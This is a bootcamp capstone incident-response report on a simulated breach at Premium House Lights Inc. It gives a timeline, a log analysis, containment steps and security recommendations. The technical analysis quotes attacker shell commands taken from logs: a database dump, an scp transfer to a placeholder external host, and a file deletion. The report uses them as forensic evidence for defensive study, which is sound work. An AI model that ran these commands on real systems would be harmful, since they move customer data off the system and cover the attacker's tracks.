Harman Dhaliwal

Lighthouse Labs

Cyber Security Bootcamp

August 12th, 2024

**Lighthouse Labs Cybersecurity Capstone Project**

Incident Response and Security Analysis for Premium House Lights Inc.

**Tables of Contents:**

1. Executive Summary……..………………………………………….…………….3
2. Incident Timeline…....................................................................3
3. Technical Analysis…………………………………………………….……….…..5
4. Incident Response …………………………………….…….…………………….7
5. Post-Incident Recommendations…….………………….….………..…….9
6. Appendix………………………………………………………….…………….……..12
7. References…………………………………………………….…………………..….15

**1. Executive Summary**

This report provides a detailed analysis of a security breach that exposed critical vulnerabilities within Premium House Lights digital infrastructure. As part of this case study, artifacts from the security breach at Premium House Lights Inc. were thoroughly analyzed, and a comprehensive incident response report was developed. The analysis revealed several critical issues, including weak password policies, insufficient access controls, and inadequate monitoring, all of which contributed to unauthorized access to sensitive customer information. The breach underscores the urgent need to strengthen security measures to mitigate future risks.

To address these vulnerabilities, the report recommends implementing multi-factor authentication (MFA) across all critical systems, adding an extra layer of protection even if passwords are compromised. Strengthening password policies, with requirements for regular updates and more complex password creation, is also essential. Enhancing real-time monitoring tools will enable quicker detection of suspicious activities, while regular security training for employees will ensure they are aware of emerging threats and best security practices. Additionally, improving network segmentation will isolate critical systems from other areas, further protecting valuable data.

The report outlines detailed steps for containment and remediation of the breach, including isolating compromised systems and blocking malicious IPs, as well as strategies to enhance security policies moving forward. A final presentation was delivered to highlight key findings from the analysis and propose improvements to prevent future incidents. By adopting these measures, Premium House Lights can significantly reduce its risk of future breaches, safeguard customer data, maintain trust, and protect its reputation and financial stability.

**2. Incident Timeline**

**1. Initial Network Scanning**

* **Date:** February 19, 2022
* **Time:** 9:56 PM
* **Details:** The attacker initiated a network scan to identify potential vulnerabilities by probing for open ports and accessible services. This scan was intended to map out the system’s defenses and locate entry points.
* **Detection:** Network logs flagged multiple connection attempts from an unfamiliar IP address, showing attempts to access various external-facing services.

**2. Attempts to Access the System**

* **Date:** February 19, 2022
* **Time:** 9:58 PM - 10:00 PM
* **Details:** After scanning the network, the attacker tried several methods to gain access. This included attempting to log in to multiple services, using either guessed or stolen credentials. There were multiple failed login attempts targeting different protocols like SSH and HTTP.
* **Detection:** The system recorded several failed authentication attempts and connection requests in a short time span, targeting various services like web and remote access portals.

**3. Successful System Entry**

* **Date:** February 19, 2022
* **Time:** 10:00 PM
* **Details:** The attacker successfully exploited a vulnerability on an open port, gaining unauthorized access to a low-privilege user account. This provided them with initial access to the internal system.
* **Detection:** Firewall logs showed that an inbound connection was made through port 8080, indicating that the attacker had found an unpatched vulnerability to exploit.

**4. Attempted Access to Sensitive Information**

* **Date:** February 19, 2022
* **Time:** 10:01 PM
* **Details:** Once inside the network, the attacker started focusing on higher-value targets, specifically the customer database. They attempted to access tables containing sensitive customer data, trying to escalate their privileges to gain more control over the database.
* **Detection:** Database monitoring logs captured unauthorized attempts to access specific tables that contain confidential information, which was not typically accessed by the compromised user account.

**5. Database Breach**

* **Date:** February 19, 2022
* **Time:** 10:02 PM
* **Details:** The attacker successfully escalated privileges and accessed the customer database. They began executing queries to extract sensitive data, including personal identifiers and payment information.
* **Detection:** Database query logs confirmed the unauthorized execution of commands that retrieved large amounts of customer data, marking a successful breach of the database.

**6. Data Exfiltration**

* **Date:** February 19, 2022
* **Time:** 10:02 PM - 10:03 PM
* **Details:** With access to the database, the attacker quickly moved to extract the stolen data. The data was transferred from the internal database server to an external IP address controlled by the attacker. This step was crucial for the theft of sensitive information.
* **Detection:** Packet capture (PCAP) files showed an unusually large amount of outbound network traffic from the database server, indicating data exfiltration. The transfer was directed to an external, unrecognized IP address.

**7. Attempt to Erase Logs**

* **Date:** February 19, 2022
* **Time:** 10:03 PM
* **Details:** After completing the data exfiltration, the attacker attempted to cover their tracks by deleting log entries that recorded their actions. They used shell commands to target specific logs related to access and database queries.
* **Detection:** Shell history logs captured the commands used to delete specific system and database logs, indicating an attempt to erase evidence of the intrusion.

**8. Additional Cover-Up Activities**

* **Date:** February 19, 2022
* **Time:** 10:03 PM - 10:05 PM
* **Details:** The attacker spent additional time executing more commands to delete or alter logs. They targeted authentication logs, access logs, and system logs, attempting to remove any traces of their unauthorized activity to make it harder for the security team to investigate.
* **Detection:** The system’s command history logged multiple deletion commands aimed at clearing logs across various services, including SSH logs and database access records.

**9. Exit from the System**

* **Date:** February 19, 2022
* **Time:** 10:05 PM
* **Details:** After finishing the data exfiltration and log deletion, the attacker disconnected from the system. This marked the end of their activity, with no further attempts to re-enter detected.
* **Detection:** Network monitoring tools recorded the disconnection from the external IP address, marking the termination of the attack session. No further suspicious activity was detected after this point.

**3. Technical Analysis**

**Attack Origin and Impact**

**Attack Origin:**

* The attack was initiated from several external IP addresses, indicating a coordinated effort to probe and exploit vulnerabilities in the web and database servers.
  + **IP Addresses Involved:**
    - 79.124.62.78
    - 92.63.196.61
    - 170.106.115.151
    - 89.248.163.136
    - 112.27.52.227

**Impact:**

The primary impact of the attack was the unauthorized access to the database server and the exfiltration of sensitive customer data. This data breach poses significant risks to customer privacy and the company's reputation.

* **Related Evidence from PCAP Files:**
  + **Web Server Traffic:** Repeated SYN packets from the listed IP addresses, indicating scanning for open ports and vulnerabilities.
  + **Database Server Traffic:** SYN packets on port 3306 from internal IP 10.10.1.2 to 10.10.1.3, suggesting attempts to access the MySQL database. Successful SYN-ACK responses indicating successful connections, likely followed by data exfiltration.

**Insight into How Systems Were Accessed**

**Web Server Access:**

* The attackers began by sending multiple SYN packets to the web server from various external IP addresses, indicating reconnaissance activities to identify open ports and potential vulnerabilities.
  + Evidence: Multiple SYN packets from IPs 79.124.62.78, 92.63.196.61, 170.106.115.151, 89.248.163.136, and 112.27.52.227 aimed at various ports on the web server.

**Database Server Access:**

* Following the reconnaissance, the attacker targeted the database server using SYN packets on port 3306, which is typically used by MySQL. This suggests an attempt to exploit vulnerabilities in the MySQL service.
  + Evidence: TCP SYN packets from internal IP 10.10.1.2 to 10.10.1.3 on port 3306, with subsequent SYN-ACK responses indicating successful connections.

**Data Exfiltration:**

* After establishing a connection to the database server, the attacker likely executed SQL queries to dump the database and used SCP (Secure Copy Protocol) to transfer the data to an external server.
  + **Evidence:** Log entries showing shell commands for dumping and transferring the database:
    - sudo mysqldump -u root -p phl > phl.db
    - scp phl.db user@external\_ip:/tmp/phl.db
    - rm phl.db

**Outline of Weaknesses That Allowed for This Incident to Occur:**

* **Lack of Proper Firewall Configuration:** The firewall rules were not strict enough to block unauthorized SYN packets from external IP addresses, allowing attackers to probe for open ports and vulnerabilities.
* **Inadequate Monitoring and Detection:** The absence of effective intrusion detection systems (IDS) allowed the attacker to perform reconnaissance and access the database without triggering alerts or being detected in real-time.
* **Weak Access Controls:** The attacker was able to gain root access to the database server, indicating weak password policies and the absence of multi-factor authentication (MFA) for administrative accounts.
* **Insufficient Network Segmentation:** The lack of proper network segmentation allowed the attacker to move laterally within the network. Internal communication between 10.10.1.2 and 10.10.1.3 should have been restricted.
* **Absence of Data Encryption:** Sensitive customer data in the database was not encrypted, making it easier for the attacker to extract and utilize the data without additional decryption steps.
* **Inadequate Logging and Response:** Although logs were available, they were not effectively used for real-time monitoring and incident response. The attacker's activities were only identified post-incident.

Addressing these weaknesses through improved security measures, such as robust firewall rules, effective monitoring and detection systems, strong access controls, proper network segmentation, data encryption, and proactive logging and response strategies, will help prevent similar incidents in the future.

**4. Incident Response**

**Steps to Contain the Incident:**

**1. Isolate Affected Systems**

* **Action:** Disconnect any compromised systems, servers, or devices from the network. This is critical to stop the attacker from continuing to steal data or move to other systems.
* **Why:** By taking compromised systems offline, you prevent further unauthorized access and stop the attack from spreading to other parts of the network.
* **How:** Disable network access (such as disconnecting from Wi-Fi or Ethernet) or power off the systems entirely to ensure they are fully isolated.

**2. Block Suspicious IP Addresses**

* **Action:** Use your firewall or network tools to block all IP addresses that are linked to the attack.
* **Why:** Blocking these IPs ensures that the attacker cannot reconnect to your systems and stops any further communication between the compromised system and the attacker’s server.
* **How:** Identify the attacker’s IPs from the network logs and update your firewall rules to deny any future connections from those addresses.

**3. Disable Compromised User Accounts**

* **Action:** Lock or disable any user accounts that have been compromised by the attacker.
* **Why:** If the attacker has taken control of an account, disabling it will stop them from using it to access your systems.
* **How:** Disable the compromised account immediately and require password resets for any other accounts that might have been targeted. Also, enforce stronger password requirements to prevent weak passwords from being used again.

**4. Monitor Real-Time Network Activity**

* **Action:** Activate or enhance real-time monitoring of network traffic to detect any further suspicious activities.
* **Why:** Continuous monitoring helps you catch ongoing malicious behavior, such as data transfers or additional intrusion attempts, that may happen after the initial breach.
* **How:** Use intrusion detection systems (IDS) and monitoring tools to track and analyze real-time traffic and set up alerts for any abnormal behavior.

**5. Stop Data Exfiltration**

* **Action:** If you detect that data is being stolen, cut off any transfers by shutting down affected network connections.
* **Why:** Data exfiltration can lead to severe data loss and exposure of sensitive information. Stopping it quickly minimizes damage.
* **How:** Review traffic logs to identify large, unusual data transfers and immediately shut down those connections or block the data transfer paths.

**6. Communicate with Security Teams and Stakeholders**

* **Action:** Notify your incident response team, IT staff, and key stakeholders (such as executives) about the breach.
* **Why:** Clear communication is crucial for coordinating containment efforts and ensuring all parts of the organization understand the severity of the incident.
* **How:** Provide regular updates on what has been done to contain the breach, the current status of the systems, and any additional actions needed.

**Steps to Remediate the Incident:**

**1. Conduct a Full Investigation**

* **Action:** Investigate the breach thoroughly to understand how the attacker gained access and what vulnerabilities were exploited.
* **Why:** Understanding the cause of the breach helps prevent it from happening again and identifies which systems and data were affected.
* **How:** Analyze all available logs (network, system, and access logs) and review the compromised systems to gather details about the attacker’s entry point and actions.

**2. Apply Security Patches and Updates**

* **Action:** Patch any vulnerabilities that allowed the attacker into your system, including unpatched software, outdated security tools, or misconfigurations.
* **Why:** Unpatched software and vulnerabilities are common entry points for attackers, so closing these gaps ensures they can’t be exploited again.
* **How:** Review software and systems for security updates, apply all relevant patches, and configure settings to follow security best practices.

**3. Reset User Credentials and Strengthen Authentication**

* **Action:** Require password resets for all user accounts, especially those affected by the breach, and implement Multi-Factor Authentication (MFA).
* **Why:** Resetting passwords ensures the attacker no longer has access to compromised accounts, and MFA adds an extra layer of security by requiring multiple verification methods.
* **How:** Enforce complex password rules, require regular password updates, and set up MFA for high-level accounts and systems containing sensitive data.

**4. Reinforce Logging and Monitoring**

* **Action:** Improve logging capabilities to ensure all actions and events are recorded for future monitoring and investigation.
* **Why:** Strong logging and monitoring allow you to quickly detect suspicious activity in the future and provide evidence for investigations.
* **How:** Set up continuous logging for critical systems, databases, and networks, and regularly review logs for anomalies or unusual behavior.

**5. Review and Update Access Controls**

* **Action:** Implement Role-Based Access Control (RBAC) and review all access permissions to ensure users only have the access they need.
* **Why:** Limiting access reduces the risk of unauthorized access, and better control of user permissions prevents attackers from gaining elevated privileges.
* **How:** Conduct an audit of all user accounts and permissions, adjust access controls based on job roles, and enforce the principle of least privilege (users only have access to what they absolutely need).

**6. Post-Incident Review and Policy Improvement**

* **Action:** Conduct a post-incident review to identify what went wrong and how to improve your incident response and security policies.
* **Why:** Learning from the breach helps improve future responses and strengthens overall security posture.
* **How:** Hold a meeting with the incident response team, review the timeline of the attack, and update policies and procedures based on lessons learned. Consider updating the incident response plan to address any identified gaps.

**5. Post-Incident Recommendations**

**1. Strengthen Access Controls:**

* **Multi-Factor Authentication (MFA):** Implementing MFA across all critical systems should be a top priority. This means that even if someone gets hold of a password, they would still need another form of identification, like a code sent to a phone, to gain access. This adds an extra layer of security, making it much harder for attackers to break in.
* **Regular Password Updates:** Encourage and enforce regular updates of passwords. Passwords should be complex and changed frequently.
* **Potential Policy Adjustment:** Mandatory MFA: Update the security policy to require the use of MFA for all access to critical systems and sensitive data, ensuring every employee is protected by this additional layer of security.

**2. Enhance Employee Awareness and Training:**

* **Ongoing Security Training:** Conduct regular training sessions to ensure all employees are aware of the latest security threats and best practices. Employees should know how to spot phishing emails, use MFA, and report suspicious activities.
* **Phishing Simulations:** Run regular phishing simulations to test employees' ability to recognize and avoid phishing attacks.
* **Potential Policy Adjustment**: Ongoing Training Requirements: Update the policy to require regular security training sessions for all employees, focusing on emerging threats and best practices, and include mandatory participation in phishing simulations.

**3. Improve Monitoring and Incident Detection:**

* **Real-Time Monitoring:** Implement or upgrade real-time monitoring systems and tools (IDS, IPS, SIEM) that can alert the security team to unusual activities immediately.
* **Regular Log Reviews:** Schedule regular reviews of system logs to catch any suspicious activities that may have gone unnoticed. By keeping a close eye on what’s happening in the network, you can identify and stop threats before they escalate.
* **Potential Policy Adjustment**: Enhanced Monitoring and Logging: Update the security policy to include real-time monitoring of all critical systems with immediate alerts for suspicious activities and clear guidelines for regular log reviews.

**4. Regular System and Software Updates:**

* **Patch Management:** Ensure that all software and systems are updated regularly with the latest security patches. Outdated software often has known vulnerabilities that attackers can exploit.
* **Automated Updates:** Where possible, automate the update process so that systems receive patches as soon as they’re available, minimizing the window of vulnerability.
* **Potential Policy Adjustment**: Automated Patching: Implement a policy that requires automated patching for all systems and software where possible, with immediate action required for critical updates.

**5. Strengthen Network Segmentation:**

* **Isolate Critical Systems:** Separate critical systems, like databases containing sensitive customer information, from the rest of the network. This means that even if an intruder gains access to one part of the network, they can’t easily move to more sensitive areas.
* **Limit Internal Access:** Restrict access to sensitive parts of the network based on roles and necessity.
* **Potential Policy Adjustment:** Isolated Networks: Update policies to require the segmentation of networks based on the sensitivity of the information they handle. Critical systems should be isolated, and access tightly controlled.

**6. Regular Security Audits and Penetration Testing:**

* **Conduct Regular Audits:** Schedule regular security audits to review and test the effectiveness of current security measures. These audits help identify any weaknesses or areas for improvement.
* **Penetration Testing:** Hire external experts to conduct penetration testing, which involves simulating an attack on the system to identify vulnerabilities.
* **Potential Policy Adjustment**: Comprehensive Audits and Testing: Update the policy to include mandatory regular security audits and penetration testing to continuously assess and improve the security posture.

**7. Develop a Strong Incident Response Plan:**

* **Create a Comprehensive Plan:** Develop or update the company’s incident response plan to include clear steps for detecting, responding to, and recovering from security breaches. This plan should outline roles and responsibilities, communication protocols, and steps to contain and mitigate the impact of an incident.
* **Regular Drills:** Conduct regular drills to test the incident response plan. This ensures that everyone knows their role and can respond quickly and effectively in the event of a real attack.
* **Potential Policy Adjustment**: Incident Response Plan: Incorporate the creation and regular testing of a comprehensive incident response plan into the security policy to ensure readiness and effective response during security incidents.

**8. Backup and Disaster Recovery Planning:**

* **Regular Backups:** Ensure that all critical data is backed up regularly. In the event of an attack, you should be able to restore data from these backups with minimal downtime.
* **Test Recovery Procedures**: Regularly test disaster recovery procedures to ensure that backups can be restored quickly and effectively.
* **Potential Policy Adjustment:** Backup and Recovery Policies: Update the security policy to mandate regular backups and testing of disaster recovery procedures, ensuring that data can be quickly restored in case of an attack.

By making these adjustments to our security policies and implementing the recommended protective measures, Premium House Lights can significantly reduce the risk of future attacks and ensure that the company is well-prepared to respond quickly and effectively if another incident occurs. These proactive steps are essential for safeguarding the organizations systems, data, and reputation in an increasingly complex digital landscape.

**6. Appendix**

**1. Summary of Key Events**

* **Incident Timeline:** A detailed account of the events that took place during the security breach, starting with the initial intrusion and ending with the containment efforts. This timeline outlines how the attackers gained access, what actions they took, and how we responded.
* **Detection:** An overview of how and where the suspicious activities were detected, including the logs and monitoring tools that recorded the unauthorized access.

**2. Key Vulnerabilities Identified**

* **Weak Password Policies:** This section discusses the weaknesses in our current password practices, such as the use of simple, easily guessable passwords and the lack of regular updates. Recommendations for improving password strength and enforcing regular changes are also included.
* **Inadequate Monitoring:** Details the shortcomings in our monitoring systems that allowed the breach to go undetected for a period of time. This includes a discussion of the current tools in place and the need for more robust real-time monitoring solutions.
* **Access Control Gaps:** Describes the issues with our current access control measures, including the lack of multi-factor authentication and the overly broad access privileges that made it easier for attackers to move within the network.

**3. Recommended Security Enhancements**

* **Multi-Factor Authentication (MFA):** A detailed explanation of why MFA is crucial for protecting sensitive systems and how it can be implemented across the company. This section includes examples of MFA methods and best practices for deployment.
* **Strengthened Password Policies:** A guide to implementing stronger password requirements, including complexity rules, mandatory regular updates, and the use of password management tools.
* **Enhanced Monitoring and Alerts:** Recommendations for upgrading our monitoring tools to include real-time alerts for suspicious activities. This section also covers the importance of regular log reviews and automated alert systems.

**4. Employee Training and Awareness**

* **Security Training Programs:** An outline of the proposed security training programs for all employees. This includes the frequency of training sessions, key topics to be covered (such as phishing awareness and incident reporting), and methods for evaluating the effectiveness of the training.
* **Phishing Simulations**: Details on implementing regular phishing simulations to help employees recognize and avoid phishing attacks. This section also includes information on how to track and improve employee performance in these simulations.

**5. Policy Updates**

* **Access Control Policies:** Proposed changes to our access control policies to include mandatory MFA, stricter password requirements, and role-based access controls to ensure that employees only have access to the systems and data they need for their job.
* **Incident Response Plan:** An updated incident response plan that outlines the steps to be taken in the event of a security breach. This plan includes roles and responsibilities, communication protocols, and procedures for containment and recovery.
* **Backup and Disaster Recovery:** Recommendations for improving our backup and disaster recovery policies, including regular backups of critical data, testing of recovery procedures, and ensuring that backups are securely stored.

**6. Tools and Resources**

* **Monitoring and Security Tools:** A list of recommended tools and resources for improving our monitoring and security capabilities. This includes descriptions of specific tools for real-time monitoring, intrusion detection, and log analysis.
* **Password Management Tools:** An overview of tools that can help enforce strong password policies, including password managers and tools for generating complex passwords.
* **Training Resources**: A list of resources for employee security training, including online courses, webinars, and interactive simulations.

**7. Implementation Timeline**

* **Short-Term Actions (0-3 Months):** A timeline for implementing immediate actions such as changing passwords, enabling MFA, and upgrading monitoring tools.
* **Medium-Term Actions (3-6 Months):** A timeline for implementing more complex changes, such as updating security policies, conducting regular security audits, and rolling out employee training programs.
* **Long-Term Actions (6-12 Months):** A timeline for ongoing actions, including continuous monitoring, regular updates to the incident response plan, and periodic phishing simulations.

**8. Glossary of Terms**

**Access Control:** A security measure that restricts who can view, modify, or use resources in a computing environment. It ensures only authorized users have access to specific systems or data.

**Data Exfiltration:** The unauthorized transfer of data from a system to an external location, typically carried out by attackers after gaining access to sensitive information.

**Intrusion Detection System (IDS**): A software or hardware tool used to monitor network or system activities for malicious behavior. It raises alerts when unusual activity is detected.

**Role-Based Access Control (RBAC):** A security model that assigns access permissions based on the user's role within an organization. This limits users' access to only the systems and data necessary for their job duties.

**Multi-Factor Authentication (MFA):** A security mechanism that requires users to provide two or more verification factors to gain access to a system. This typically includes something they know (password), something they have (a phone or token), and something they are (biometrics).

**Firewall:** A security system that controls incoming and outgoing network traffic based on predetermined security rules. Firewalls help protect internal networks from external threats.

**Privilege Escalation:** The process where an attacker gains higher access privileges than initially allowed, often by exploiting vulnerabilities to perform administrative actions.

**Phishing:** A fraudulent attempt, usually made through email or malicious websites, to trick individuals into providing sensitive information, such as passwords or credit card numbers.

**Network Segmentation**: The practice of dividing a network into smaller, isolated segments to reduce the ability of attackers to move laterally within the network after gaining initial access.

**Packet Capture (PCAP):** A method of intercepting and logging network traffic to analyze data transmissions, often used in investigations to trace the actions of an attacker.

**Vulnerability:** A weakness or flaw in a system, software, or network that can be exploited by attackers to gain unauthorized access or cause harm.

**Incident Response:** A structured process used by security teams to address and manage a security breach or cyberattack. It includes containment, investigation, and remediation actions to minimize damage and recover from the incident.

**7. References**

* Cybersecurity framework. NIST. (2024, August 28). <https://www.nist.gov/cyberframework>
* Contra Costa County. Incident report template. (2008) <https://www.contracosta.ca.gov/DocumentCenter/View/3232/Incident-Report-Template?bidId=>
* MITRE ATT&CK®. (n.d.). <https://attack.mitre.org/>
* OWASP Top Ten | OWASP Foundation. (n.d.). <https://owasp.org/www-project-top-ten/>
* NVD - Search and Statistics. (n.d.). <https://nvd.nist.gov/vuln/search>
* International Organization for Standardization. (2022). ISO/IEC 27001:2022: Information security, cybersecurity and privacy protection — Information security management systems — Requirements (3rd ed.). <https://www.iso.org/obp/ui/en/#iso:std:iso-iec:27001:ed-3:v1:en>
* Sans Institute. Incident response plan template. <https://sansorg.egnyte.com/dl/6Btqoa63at>
* Cybersecurity and Infrastructure Security Agency. (n.d.). Cybersecurity best practices. U.S. Department of Homeland Security. Retrieved from <https://www.cisa.gov/topics/cybersecurity-best-practices>
* Center for Internet Security. (n.d.). CIS critical security controls. Retrieved from <https://www.cisecurity.org/controls/>
* European Union. (2018). General Data Protection Regulation (GDPR). Retrieved from <https://gdpr.eu/>